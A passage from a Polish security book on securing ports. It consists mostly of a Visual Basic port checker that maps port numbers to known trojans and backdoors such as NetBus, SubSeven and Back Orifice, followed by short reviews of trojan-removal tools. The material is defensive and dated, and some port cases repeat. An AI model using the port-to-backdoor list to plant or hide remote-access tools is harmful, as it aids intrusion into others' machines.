ElseIf Winsock2.LocalPort = 59 Then List1.AddItem Winsock2.LocalPort
& " Found:
DMSetup"
Winsock2.Close
ElseIf Winsock2.LocalPort = 79 Then List1.AddItem Winsock2.LocalPort
& " Found:
Firehotcker"
Winsock2.Close
ElseIf Winsock2.LocalPort = 99 Then List1.AddItem Winsock2.LocalPort
& " Found:
Hidden Port"
Winsock2.Close
ElseIf Winsock2.LocalPort = 110 Then List1.AddItem Winsock2.LocalPort
& " Found:
ProMail trojan"
Winsock2.Close
ElseIf Winsock2.LocalPort = 113 Then List1.AddItem Winsock2.LocalPort
& " Found:
Kazimas"
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
89
89
Winsock2.Close
ElseIf Winsock2.LocalPort = 119 Then List1.AddItem Winsock2.LocalPort
& " Found:
Happy 99"
Winsock2.Close
ElseIf Winsock2.LocalPort = 121 Then List1.AddItem Winsock2.LocalPort
& " Found:
JammerKillah"
Winsock2.Close
ElseIf Winsock2.LocalPort = 421 Then List1.AddItem Winsock2.LocalPort
& " Found:
TCP Wrappers"
Winsock2.Close
ElseIf Winsock2.LocalPort = 456 Then List1.AddItem Winsock2.LocalPort
& " Found:
Hackers Paradise"
Winsock2.Close
ElseIf Winsock2.LocalPort = 531 Then List1.AddItem Winsock2.LocalPort
& " Found:
Rasmin"
Winsock2.Close
ElseIf Winsock2.LocalPort = 555 Then List1.AddItem Winsock2.LocalPort
& " Found:
Ini-Killer, NeTAdmin, Phase Zero, Stealth Spy"
Winsock2.Close
ElseIf Winsock2.LocalPort = 666 Then List1.AddItem Winsock2.LocalPort
& " Found:
Attack FTP, Back Construction, Cain & Abel, Satanz Backdoor, ServeU,
Shadow Phyre"
Winsock2.Close
ElseIf Winsock2.LocalPort = 911 Then List1.AddItem Winsock2.LocalPort
& " Found:
Dark Shadow"
Winsock2.Close
ElseIf Winsock2.LocalPort = 999 Then List1.AddItem Winsock2.LocalPort
& " Found:
DeepThroat, WinSatan"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1001 Then List1.AddItem
Winsock2.LocalPort & " Found:
Silencer, WebEx"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1010 Then List1.AddItem
Winsock2.LocalPort & " Found:
Doly Trojan"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1011 Then List1.AddItem
Winsock2.LocalPort & " Found:
Doly Trojan"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1012 Then List1.AddItem
Winsock2.LocalPort & " Found:
Doly Trojan"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1015 Then List1.AddItem
Winsock2.LocalPort & " Found:
Doly Trojan"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1024 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetSpy"
90
Hack Wars. Tom 2. Na tropie hakerów
90
Winsock2.Close
ElseIf Winsock2.LocalPort = 1042 Then List1.AddItem Winsock2.LocalPort &
" Found: Bla"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1045 Then List1.AddItem
Winsock2.LocalPort & " Found:
Rasmin"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1090 Then List1.AddItem
Winsock2.LocalPort & " Found:
Xtreme"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1170 Then List1.AddItem
Winsock2.LocalPort & " Found:
Psyber Stream Server, Streaming Audio trojan, Voice"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1234 Then List1.AddItem
Winsock2.LocalPort & " Found:
Ultors Trojan"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1239 Then Winsock2.Close
ElseIf Winsock2.LocalPort = 1243 Then List1.AddItem
Winsock2.LocalPort & " Found:
BackDoor-G, SubSeven, SubSeven Apocalypse"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1245 Then List1.AddItem
Winsock2.LocalPort & " Found:
VooDoo Doll"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1248 Then Winsock2.Close
ElseIf Winsock2.LocalPort = 1269 Then List1.AddItem
Winsock2.LocalPort & " Found:
Mavericks Matrix"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1349 Then List1.AddItem
Winsock2.LocalPort & " Found:
BO DLL"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1492 Then List1.AddItem
Winsock2.LocalPort & " Found:
FTP99CMP"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1509 Then List1.AddItem
Winsock2.LocalPort & " Found:
Psyber Streaming Server"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1600 Then List1.AddItem
Winsock2.LocalPort & " Found:
Shivka-Burka"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1807 Then List1.AddItem
Winsock2.LocalPort & " Found:
SpySender"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1981 Then List1.AddItem
Winsock2.LocalPort & " Found:
Shockrave"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1999 Then List1.AddItem
Winsock2.LocalPort & " Found:
BackDoor"
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
91
91
Winsock2.Close
ElseIf Winsock2.LocalPort = 1999 Then List1.AddItem
Winsock2.LocalPort & " Found:
TransScout"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2000 Then List1.AddItem
Winsock2.LocalPort & " Found:
TransScout"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2001 Then List1.AddItem
Winsock2.LocalPort & " Found:
TransScout"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2001 Then List1.AddItem
Winsock2.LocalPort & " Found:
Trojan Cow"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2002 Then List1.AddItem
Winsock2.LocalPort & " Found:
TransScout"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2003 Then List1.AddItem
Winsock2.LocalPort & " Found:
TransScout"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2004 Then List1.AddItem
Winsock2.LocalPort & " Found:
TransScout"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2005 Then List1.AddItem
Winsock2.LocalPort & " Found:
TransScout"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2023 Then List1.AddItem
Winsock2.LocalPort & " Found:
Ripper"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2115 Then List1.AddItem Winsock2.LocalPort &
" Found: Bugs"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2140 Then List1.AddItem
Winsock2.LocalPort & " Found:
Deep Throat, The Invasor"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2155 Then List1.AddItem
Winsock2.LocalPort & " Found:
Illusion Mailer"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2283 Then List1.AddItem
Winsock2.LocalPort & " Found:
HVL Rat5"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2565 Then List1.AddItem
Winsock2.LocalPort & " Found:
Striker"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2583 Then List1.AddItem
Winsock2.LocalPort & " Found:
WinCrash"
Winsock2.Close
92
Hack Wars. Tom 2. Na tropie hakerów
92
ElseIf Winsock2.LocalPort = 2600 Then List1.AddItem
Winsock2.LocalPort & " Found:
Digital RootBeer"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2801 Then List1.AddItem
Winsock2.LocalPort & " Found:
Phineas Phucker"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2989 Then List1.AddItem Winsock2.LocalPort &
" Found: RAT"
Winsock2.Close
ElseIf Winsock2.LocalPort = 3024 Then List1.AddItem
Winsock2.LocalPort & " Found:
WinCrash"
Winsock2.Close
ElseIf Winsock2.LocalPort = 3128 Then List1.AddItem
Winsock2.LocalPort & " Found:
RingZero"
Winsock2.Close
ElseIf Winsock2.LocalPort = 3129 Then List1.AddItem
Winsock2.LocalPort & " Found:
Masters Paradise"
Winsock2.Close
ElseIf Winsock2.LocalPort = 3150 Then List1.AddItem
Winsock2.LocalPort & " Found:
Deep Throat, The Invasor"
Winsock2.Close
ElseIf Winsock2.LocalPort = 3459 Then List1.AddItem
Winsock2.LocalPort & " Found:
Eclipse 2000"
Winsock2.Close
ElseIf Winsock2.LocalPort = 3700 Then List1.AddItem
Winsock2.LocalPort & " Found:
Portal of Doom"
Winsock2.Close
ElseIf Winsock2.LocalPort = 3791 Then List1.AddItem
Winsock2.LocalPort & " Found:
Eclypse"
Winsock2.Close
ElseIf Winsock2.LocalPort = 3801 Then List1.AddItem
Winsock2.LocalPort & " Found:
Eclypse"
Winsock2.Close
ElseIf Winsock2.LocalPort = 4092 Then List1.AddItem
Winsock2.LocalPort & " Found:
WinCrash"
Winsock2.Close
ElseIf Winsock2.LocalPort = 4321 Then List1.AddItem Winsock2.LocalPort &
" Found: BoBo"
Winsock2.Close
ElseIf Winsock2.LocalPort = 4567 Then List1.AddItem
Winsock2.LocalPort & " Found:
File Nail"
Winsock2.Close
ElseIf Winsock2.LocalPort = 4590 Then List1.AddItem
Winsock2.LocalPort & " Found:
ICQTrojan"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5000 Then List1.AddItem
Winsock2.LocalPort & " Found:
Bubbel, Back Door Setup, Sockets deTroie"
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
93
93
Winsock2.Close
ElseIf Winsock2.LocalPort = 5001 Then List1.AddItem
Winsock2.LocalPort & " Found:
Back Door Setup, Sockets de Troie"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5011 Then List1.AddItem
Winsock2.LocalPort & " Found:
One of the Last Trojans (OOTLT)"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5031 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetMetro"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5321 Then List1.AddItem
Winsock2.LocalPort & " Found:
Firehotcker"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5400 Then List1.AddItem
Winsock2.LocalPort & " Found:
Blade Runner, Back Construction"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5401 Then List1.AddItem
Winsock2.LocalPort & " Found:
Blade Runner, Back Construction"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5402 Then List1.AddItem
Winsock2.LocalPort & " Found:
Blade Runner, Back Construction"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5512 Then List1.AddItem
Winsock2.LocalPort & " Found:
Illusion Mailer"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5550 Then List1.AddItem Winsock2.LocalPort &
" Found: Xtcp"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5555 Then List1.AddItem
Winsock2.LocalPort & " Found:
ServeMe"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5556 Then List1.AddItem
Winsock2.LocalPort & " Found:
BO Facil"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5557 Then List1.AddItem
Winsock2.LocalPort & " Found:
BO Facil"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5569 Then List1.AddItem
Winsock2.LocalPort & " Found:
Robo-Hack"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5742 Then List1.AddItem
Winsock2.LocalPort & " Found:
WinCrash"
Winsock2.Close
ElseIf Winsock2.LocalPort = 6400 Then List1.AddItem
Winsock2.LocalPort & " Found:
The Thing"
Winsock2.Close
94
Hack Wars. Tom 2. Na tropie hakerów
94
ElseIf Winsock2.LocalPort = 6669 Then List1.AddItem
Winsock2.LocalPort & " Found:
Vampyre"
Winsock2.Close
ElseIf Winsock2.LocalPort = 6670 Then List1.AddItem
Winsock2.LocalPort & " Found:
DeepThroat"
Winsock2.Close
ElseIf Winsock2.LocalPort = 6771 Then List1.AddItem
Winsock2.LocalPort & " Found:
DeepThroat"
Winsock2.Close
ElseIf Winsock2.LocalPort = 6776 Then List1.AddItem
Winsock2.LocalPort & " Found:
BackDoor-G, SubSeven"
Winsock2.Close
ElseIf Winsock2.LocalPort = 6912 Then List1.AddItem
Winsock2.LocalPort & " Found:
Shit Heep"
Winsock2.Close
ElseIf Winsock2.LocalPort = 6939 Then List1.AddItem
Winsock2.LocalPort & " Found:
Indoctrination"
Winsock2.Close
ElseIf Winsock2.LocalPort = 6969 Then List1.AddItem
Winsock2.LocalPort & " Found:
GateCrasher, Priority, IRC 3"
Winsock2.Close
ElseIf Winsock2.LocalPort = 6970 Then List1.AddItem
Winsock2.LocalPort & " Found:
GateCrasher"
Winsock2.Close
ElseIf Winsock2.LocalPort = 7000 Then List1.AddItem
Winsock2.LocalPort & " Found:
Remote Grab , Kazimas"
Winsock2.Close
ElseIf Winsock2.LocalPort = 7300 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetMonitor"
Winsock2.Close
ElseIf Winsock2.LocalPort = 7301 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetMonitor"
Winsock2.Close
ElseIf Winsock2.LocalPort = 7306 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetMonitor"
Winsock2.Close
ElseIf Winsock2.LocalPort = 7307 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetMonitor"
Winsock2.Close
ElseIf Winsock2.LocalPort = 7308 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetMonitor"
Winsock2.Close
ElseIf Winsock2.LocalPort = 7789 Then List1.AddItem
Winsock2.LocalPort & " Found:
Back Door Setup, ICKiller"
Winsock2.Close
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
95
95
ElseIf Winsock2.LocalPort = 8080 Then List1.AddItem
Winsock2.LocalPort & " Found:
RingZero"
Winsock2.Close
ElseIf Winsock2.LocalPort = 9400 Then List1.AddItem
Winsock2.LocalPort & " Found:
InCommand"
Winsock2.Close
ElseIf Winsock2.LocalPort = 9872 Then List1.AddItem
Winsock2.LocalPort & " Found:
Portal of Doom"
Winsock2.Close
ElseIf Winsock2.LocalPort = 9873 Then List1.AddItem
Winsock2.LocalPort & " Found:
Portal of Doom"
Winsock2.Close
ElseIf Winsock2.LocalPort = 9874 Then List1.AddItem
Winsock2.LocalPort & " Found:
Portal of Doom"
Winsock2.Close
ElseIf Winsock2.LocalPort = 9875 Then List1.AddItem
Winsock2.LocalPort & " Found:
Portal of Doom"
Winsock2.Close
ElseIf Winsock2.LocalPort = 9876 Then List1.AddItem
Winsock2.LocalPort & " Found:
Cyber Attacker"
Winsock2.Close
ElseIf Winsock2.LocalPort = 9878 Then List1.AddItem
Winsock2.LocalPort & " Found:
TransScout"
Winsock2.Close
ElseIf Winsock2.LocalPort = 9989 Then List1.AddItem
Winsock2.LocalPort & " Found:
iNi-Killer"
Winsock2.Close
ElseIf Winsock2.LocalPort = 10067 Then List1.AddItem
Winsock2.LocalPort & " Found:
Portal of Doom"
Winsock2.Close
ElseIf Winsock2.LocalPort = 10101 Then List1.AddItem
Winsock2.LocalPort & " Found:
BrainSpy"
Winsock2.Close
ElseIf Winsock2.LocalPort = 10167 Then List1.AddItem
Winsock2.LocalPort & " Found:
Portal of Doom"
Winsock2.Close
ElseIf Winsock2.LocalPort = 10520 Then List1.AddItem
Winsock2.LocalPort & " Found:
Acid Shivers"
Winsock2.Close
ElseIf Winsock2.LocalPort = 10607 Then List1.AddItem Winsock2.LocalPort &
" Found: Coma"
Winsock2.Close
ElseIf Winsock2.LocalPort = 11000 Then List1.AddItem
Winsock2.LocalPort & " Found: Senna Spy"
Winsock2.Close
ElseIf Winsock2.LocalPort = 11223 Then List1.AddItem
Winsock2.LocalPort & " Found:
Progenic trojan"
96
Hack Wars. Tom 2. Na tropie hakerów
96
Winsock2.Close
ElseIf Winsock2.LocalPort = 12076 Then List1.AddItem
Winsock2.LocalPort & " Found:
Gjamer"
Winsock2.Close
ElseIf Winsock2.LocalPort = 12223 Then List1.AddItem
Winsock2.LocalPort & " Found:
Hack'99 KeyLogger"
Winsock2.Close
ElseIf Winsock2.LocalPort = 12345 Then Winsock2.Close
ElseIf Winsock2.LocalPort = 12346 Then List1.AddItem
Winsock2.LocalPort & " Found:
GabanBus, NetBus, X-bill"
Winsock2.Close
ElseIf Winsock2.LocalPort = 12361 Then List1.AddItem
Winsock2.LocalPort & " Found:
Whack-a-mole"
Winsock2.Close
ElseIf Winsock2.LocalPort = 12362 Then List1.AddItem
Winsock2.LocalPort & " Found:
Whack-a-mole"
Winsock2.Close
ElseIf Winsock2.LocalPort = 12631 Then List1.AddItem
Winsock2.LocalPort & " Found:
WhackJob"
Winsock2.Close
ElseIf Winsock2.LocalPort = 13000 Then List1.AddItem
Winsock2.LocalPort & " Found:
Senna Spy"
Winsock2.Close
ElseIf Winsock2.LocalPort = 16969 Then List1.AddItem
Winsock2.LocalPort & " Found:
Priority"
Winsock2.Close
ElseIf Winsock2.LocalPort = 17300 Then List1.AddItem
Winsock2.LocalPort & " Found:
Kuang2 The Virus"
Winsock2.Close
ElseIf Winsock2.LocalPort = 20000 Then List1.AddItem
Winsock2.LocalPort & " Found:
Millennium"
Winsock2.Close
ElseIf Winsock2.LocalPort = 20001 Then List1.AddItem
Winsock2.LocalPort & " Found:
Millennium"
Winsock2.Close
ElseIf Winsock2.LocalPort = 20034 Then Winsock2.Close
ElseIf Winsock2.LocalPort = 20203 Then List1.AddItem
Winsock2.LocalPort & " Found:
Logged"
Winsock2.Close
ElseIf Winsock2.LocalPort = 21544 Then List1.AddItem
Winsock2.LocalPort & " Found:
GirlFriend"
Winsock2.Close
ElseIf Winsock2.LocalPort = 22222 Then List1.AddItem
Winsock2.LocalPort & " Found:
Prosiak"
Winsock2.Close
ElseIf Winsock2.LocalPort = 23456 Then List1.AddItem
Winsock2.LocalPort & " Found:
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
97
97
Evil FTP, Ugly FTP , Whack Job"
Winsock2.Close
ElseIf Winsock2.LocalPort = 23476 Then List1.AddItem
Winsock2.LocalPort & " Found:
Donald Dick"
Winsock2.Close
ElseIf Winsock2.LocalPort = 23477 Then List1.AddItem
Winsock2.LocalPort & " Found:
Donald Dick"
Winsock2.Close
ElseIf Winsock2.LocalPort = 26274 Then List1.AddItem
Winsock2.LocalPort & " Found:
Delta Source"
Winsock2.Close
ElseIf Winsock2.LocalPort = 29891 Then List1.AddItem
Winsock2.LocalPort & " Found:
The Unexplained"
Winsock2.Close
ElseIf Winsock2.LocalPort = 30029 Then List1.AddItem
Winsock2.LocalPort & " Found:
AOL Trojan"
Winsock2.Close
ElseIf Winsock2.LocalPort = 30100 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetSphere"
Winsock2.Close
ElseIf Winsock2.LocalPort = 30101 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetSphere"
Winsock2.Close
ElseIf Winsock2.LocalPort = 30102 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetSphere"
Winsock2.Close
ElseIf Winsock2.LocalPort = 30303 Then List1.AddItem
Winsock2.LocalPort & " Found:
Sockets de Troie"
Winsock2.Close
ElseIf Winsock2.LocalPort = 30999 Then List1.AddItem
Winsock2.LocalPort & " Found:
Kuang2"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31336 Then List1.AddItem
Winsock2.LocalPort & " Found:
Bo Whack"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31337 Then List1.AddItem
Winsock2.LocalPort & " Found:
Baron Night, BO client, BO2, Bo Facil"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31337 Then List1.AddItem
Winsock2.LocalPort & " Found:
BackFire, Back Orifice, DeepBO"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31338 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetSpy DK"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31338 Then List1.AddItem
Winsock2.LocalPort & " Found:
Back Orifice, DeepBO"
98
Hack Wars. Tom 2. Na tropie hakerów
98
Winsock2.Close
ElseIf Winsock2.LocalPort = 31339 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetSpy DK"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31666 Then List1.AddItem
Winsock2.LocalPort & " Found:
BOWhack"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31785 Then List1.AddItem
Winsock2.LocalPort & " Found:
Hack'a'Tack"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31787 Then List1.AddItem
Winsock2.LocalPort & " Found:
Hack'a'Tack"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31788 Then List1.AddItem
Winsock2.LocalPort & " Found:
Hack'a'Tack"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31789 Then List1.AddItem
Winsock2.LocalPort & " Found:
Hack'a'Tack"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31791 Then List1.AddItem
Winsock2.LocalPort & " Found:
Hack'a'Tack"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31792 Then List1.AddItem
Winsock2.LocalPort & " Found:
Hack'a'Tack"
Winsock2.Close
ElseIf Winsock2.LocalPort = 33333 Then List1.AddItem
Winsock2.LocalPort & " Found:
Prosiak"
Winsock2.Close
ElseIf Winsock2.LocalPort = 33911 Then List1.AddItem
Winsock2.LocalPort & " Found:
Spirit 2001a"
Winsock2.Close
ElseIf Winsock2.LocalPort = 34324 Then List1.AddItem
Winsock2.LocalPort & " Found:
BigGluck, TN"
Winsock2.Close
ElseIf Winsock2.LocalPort = 40412 Then List1.AddItem
Winsock2.LocalPort & " Found:
The Spy"
Winsock2.Close
ElseIf Winsock2.LocalPort = 40421 Then List1.AddItem
Winsock2.LocalPort & " Found:
Agent 40421, Masters Paradise"
Winsock2.Close
ElseIf Winsock2.LocalPort = 40422 Then List1.AddItem
Winsock2.LocalPort & " Found:
Masters Paradise"
Winsock2.Close
ElseIf Winsock2.LocalPort = 40423 Then List1.AddItem
Winsock2.LocalPort & " Found:
Masters Paradise"
Winsock2.Close
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
99
99
ElseIf Winsock2.LocalPort = 40426 Then List1.AddItem
Winsock2.LocalPort & " Found:
Masters Paradise"
Winsock2.Close
ElseIf Winsock2.LocalPort = 47262 Then List1.AddItem
Winsock2.LocalPort & " Found:
Delta Source"
Winsock2.Close
ElseIf Winsock2.LocalPort = 50505 Then List1.AddItem
Winsock2.LocalPort & " Found:
Sockets de Troie"
Winsock2.Close
ElseIf Winsock2.LocalPort = 50766 Then List1.AddItem
Winsock2.LocalPort & " Found:
Fore, Schwindler"
Winsock2.Close
ElseIf Winsock2.LocalPort = 53001 Then List1.AddItem
Winsock2.LocalPort & " Found:
Remote Windows Shutdown"
Winsock2.Close
ElseIf Winsock2.LocalPort = 54320 Then List1.AddItem
Winsock2.LocalPort & " Found:
Back Orifice 2000"
Winsock2.Close
ElseIf Winsock2.LocalPort = 54321 Then List1.AddItem
Winsock2.LocalPort & " Found:
School Bus"
Winsock2.Close
ElseIf Winsock2.LocalPort = 54321 Then List1.AddItem
Winsock2.LocalPort & " Found:
Back Orifice 2000"
Winsock2.Close
ElseIf Winsock2.LocalPort = 60000 Then List1.AddItem
Winsock2.LocalPort & " Found:
Deep Throat"
Winsock2.Close
ElseIf Winsock2.LocalPort = 61466 Then List1.AddItem
Winsock2.LocalPort & " Found:
Telecommando"
Winsock2.Close
Else
List1.AddItem Winsock2.LocalPort & " Active: Standard Well-known
Port"
Winsock2.Close
End If
End Sub
Public Sub WSock3(sPort As Long)
Winsock3.LocalPort = sPort
If sPort > 65400 Then
cmdStop_Click
End If
On Error GoTo z3
Winsock3.Listen
Winsock3.Close
Exit Sub
'–––– listing skrócony ––––
z3: 'Powtórzenie z2
z4: 'Powtórzenie z3
z5: 'Powtórzenie z4
100
Hack Wars. Tom 2. Na tropie hakerów
100
Zabezpieczanie portów ukrytych
Zajmiemy się teraz wyłączaniem usług korzystających z portów o numerach wyższych od
1024, zarówno tych, o których wspominaliśmy w pierwszym tomie, Hack wars. Na
tropie hakerów, jak i wykrytych w trakcie skanowania portów. Przedstawimy również
przegląd narzędzi przeznaczonych do proaktywnego monitorowania i ochrony portów
przed różnego rodzaju włamaniami.
Rozpoczniemy od pakietów kompleksowo „oczyszczających” system, następnie przej-
dziemy do technik samodzielnego wykonywania tego rodzaju czynności, a skończymy
omówieniem „strażników” i różnorodnych blokad portów, pełniących rolę mini-zapór.
Uzupełnieniem będzie prezentacja TigerGuard, w pełni konfigurowalnego, osobistego
demona zabezpieczeń.
Programy oczyszczające system
Programy tego rodzaju wyszukują obecne w systemie konie trojańskie i wirusy,
a w przypadku ich znalezienia — usuwają. Większość z nich ma na celu zautomatyzowa-
nie czynności, które już kilka stron dalej opiszemy szczegółowo. Choć narzędzia te —
o ile uaktualniamy je regularnie — są dość skuteczne, samodzielne skanowanie i ręczne
usuwanie „niespodzianek” nie traci na wartości. Przedstawimy więc jedynie kilka przy-
kładów najpopularniejszego, ogólnie dostępnego oprogramowania. W rozdziale 2. zajmie-
my się jeszcze oprogramowaniem, którego praca koncentruje się na wykrywaniu,
usuwaniu i ochronie przed samymi tylko wirusami. W dalszej części tego rozdziału
zajmiemy się jeszcze pakietami zapewniającymi zablokowanie szkodliwych usług.
AntiGen i BoDetect
AntiGen (patrz rysunek 1.26) i BoDetect to narzędzia, które automatycznie wykrywają
i usuwają z komputera program Back Orifice Server (BoServ). AntiGen, oferowany
przez firmę Fresh Software, należy do grupy freeware, czyli oprogramowania, z którego
możemy korzystać bezpłatnie. Ogólnie rzecz biorąc, oba narzędzia działają dość dobrze,
umykają jednak ich skuteczności pewne nowsze mutacje serwera BoServ. Stąd właśnie
wspomniana już konieczność samodzielnego skanowania i oczyszczania portów.
Rysunek 1.26.
Usuwanie konia
trojańskiego BoServ
programem AntiGen
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
101
101
NetBus Detective
NetBus Detective (patrz rysunek 1.27) to maleńki program zaprojektowany wyłącznie
do usuwania konia trojańskiego NetBus. Jego dodatkową funkcją jest wyświetlanie hake-
rowi powiadomienia o jego wykryciu, łącznie z podaniem IP i nazwy stacji. Jak widać
na ilustracji, zarówno komunikat dla hakera, jak i wyświetlany użytkownikowi mogą
być modyfikowane.
Rysunek 1.27.
Konfigurowanie
narzędzia NetBus
Detective
NetBus Protection System
NetBus Protection System, w skrócie NPS (patrz rysunek 1.28), to program wykrywa-
jący i chroniący przed koniem trojańskim NetBus. Posiada on dwie niezależne funkcje
— usuwania szkodliwej usługi i powiadamiania o próbie skorzystania z niej. Można
korzystać z nich razem lub ograniczyć się jedynie do wyłączenia demona.
Rysunek 1.28.
Konfigurowanie
programu NetBus
Protection System
Tauscan
Tauscan (patrz rysunek 1.29) to rozbudowany demon służący do wykrywania i usuwania
różnych koni trojańskich, zdolny do rozpoznania większości znanych mechanizmów
backdoor. Program pracuje w tle, a co ciekawsze, wykorzystuje bardzo niewielką
102
Hack Wars. Tom 2. Na tropie hakerów
102
ilość zasobów systemu. Jego graficzny interfejs jest wyjątkowo przyjazny — obejmuje
funkcje takie jak inicjowanie skanowania metodą drag-and-drop i prawym przyciskiem
myszy, jak również kreator konfiguracji. Czyni to program wyjątkowo prostym w użyciu.
Rysunek 1.29.
Przyjazny interfejs
GUI programu
Tauscan
Tauscan można pobrać z witryny www.agnitum.com/products/tauscan/.
The Cleaner
The Cleaner (patrz rysunek 1.30) to kolejne narzędzie służące do wyszukiwania i usuwa-
nia z komputera programów szkodliwych, a niewidocznych dla użytkownika. Zgodnie
z zapewnieniami autora, The Cleaner korzysta ze specjalnej procedury jednoznacznej
identyfikacji plików: nie można ich ukryć ani przez zmianę nazwy, ani zgłaszanej
wielkości pliku, jak również przez dołączenie kodu do innego programu.
The Cleaner może zostać pobrany z witryny www.moosoft.com/.
Trojan Remover
Trojan Remover (patrz rysunek 1.31) to system wykrywania i usuwania koni trojańskich
zaprojektowany przede wszystkim pod kątem systemów Windows 9x. Choć zasób je-
go funkcji jest dość ograniczony — nie posiada między innymi funkcji zapobiegania „za-
rażeniu” — zaletą narzędzia jest sprawne usuwanie wielu popularnych „wtyczek”. Ja-
ko dostępny do pobrania i bezpłatny, stać się może dobrym uzupełnieniem posiadanej
kolekcji programów zabezpieczających.
Trojan Remover może zostać pobrany z witryny www.simpysup.com/tremover/.
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
103
103
Rysunek 1.30.
The Cleaner może
być potężnym
sprzymierzeńcem
w walce
z włamaniami
Rysunek 1.31.
Główne okno
programu Trojan
Remover
Techniki samodzielnego usuwania koni trojańskich
Jak przedstawiliśmy to w Hack wars. Na tropie hakerów, programy do włamań penetra-
cyjnych mają zazwyczaj za zadanie „otworzyć tylne wyjście”, czyli utworzyć lukę
w systemie zabezpieczeń systemu. Mimo, że zadania samego demona często nie są
szkodliwe, intencje osoby korzystającej z niego trudno uznać za pożądane. Stąd właśnie
104
Hack Wars. Tom 2. Na tropie hakerów
104
konieczność korzystania z programów zapewniających zautomatyzowanie procesów
przeglądania systemu, wykrywania niepożądanych demonów i ich usuwania. Ich działanie
nie zawsze jednak gwarantuje pełną skuteczność. Istotnym uzupełnieniem stają się
więc techniki samodzielnego, „ręcznego” zabezpieczania portów, usuwania usług i blo-
kowania dostępu do systemu.
Lista omawianych na kolejnych stronach metod bazuje na liście portów i usług przed-
stawionych w pierwszym tomie Hack wars — obejmuje ona narzędzia najczęściej
spotykane i najbardziej niebezpieczne. Podstawowe czynności sprowadzają się do
modyfikowania rejestru oraz usuwania lub „maskowania” plików (przypomnijmy —
rejestr to hierarchiczna baza danych stosowana w nowych wersjach systemu Win-
dows: 95/98, Millenium, NT 4 i 2000; są w niej przechowywane wszystkie ustawienia
systemowe; odpowiada używanym w Windows 3.x plikom
.ini
; do rejestru przeniesione
zostały wpisy z plików
system.ini
,
win.ini
i
control.ini
; również instalowane w systemie
programy przechowują w rejestrze swoje dane inicjalizacyjne i konfiguracyjne).
Rejestr nie może być modyfikowany przy użyciu żadnego ze standardowych edytorów.
